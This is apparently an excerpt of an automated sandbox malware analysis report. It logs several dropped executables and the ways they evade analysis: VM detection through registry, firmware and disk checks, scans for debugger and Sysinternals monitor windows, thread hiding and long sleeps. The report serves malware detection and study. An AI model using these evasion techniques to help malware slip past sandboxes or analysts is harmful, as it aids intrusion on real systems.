Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: F72D.exe, 0000000D.00000002.797219743.0000000001FF0000.00000004.00000001.sdmp	Binary or memory string: ASWHOOK
Source: y4oMrtO1Mt.exe, 00000001.00000002.725871368.0000000002100000.00000004.00000001.sdmp	Binary or memory string: ASWHOOKW0

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\explorer.exe TID: 4780	Thread sleep count: 593 > 30
Source: C:\Windows\explorer.exe TID: 2248	Thread sleep count: 267 > 30
Source: C:\Windows\explorer.exe TID: 5296	Thread sleep count: 326 > 30
Source: C:\Windows\explorer.exe TID: 5296	Thread sleep time: -32600s >= -30000s
Source: C:\Windows\explorer.exe TID: 616	Thread sleep count: 326 > 30
Source: C:\Windows\explorer.exe TID: 4792	Thread sleep count: 175 > 30
Source: C:\Windows\explorer.exe TID: 1052	Thread sleep count: 230 > 30
Source: C:\Windows\explorer.exe TID: 6640	Thread sleep count: 339 > 30
Source: C:\Windows\explorer.exe TID: 1568	Thread sleep count: 206 > 30
Source: C:\Users\user\AppData\Local\Temp\8039.exe TID: 5392	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\8039.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\8039.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 593

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D276B90 rdtsc

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\8039.exe

Thread delayed: delay time: 922337203685477

Source: 8039.exe, 00000016.00000002.947294961.0000000000B60000.00000004.00000020.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000005.00000000.694802173.000000000FD02000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.692915166.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8039.exe, 00000016.00000002.947019829.0000000000B0A000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|
Source: explorer.exe, 00000005.00000000.716863699.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.692915166.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.706261593.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000005.00000000.694802173.000000000FD02000.00000004.00000001.sdmp	Binary or memory string: c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&b
Source: 8039.exe, 00000016.00000002.947294961.0000000000B60000.00000004.00000020.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareR8SZCTXCWin32_VideoController5UGTV26XVideoController120060621000000.000000-00088702277display.infMSBDAW1MK44M8PCI\VEN_15AD&DEV_04qD
Source: explorer.exe, 00000005.00000000.688028837.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.706261593.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.706350974.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp, 610B.exe, 0000001B.00000002.942712473.000000000076C000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

System information queried: ModuleInformation

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Roaming\hrgjvbv	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD0042 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E1B863 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D303518 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D303518 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D303518 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F51D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24354C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24354C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F8D47 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F3D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D267D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2735A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]
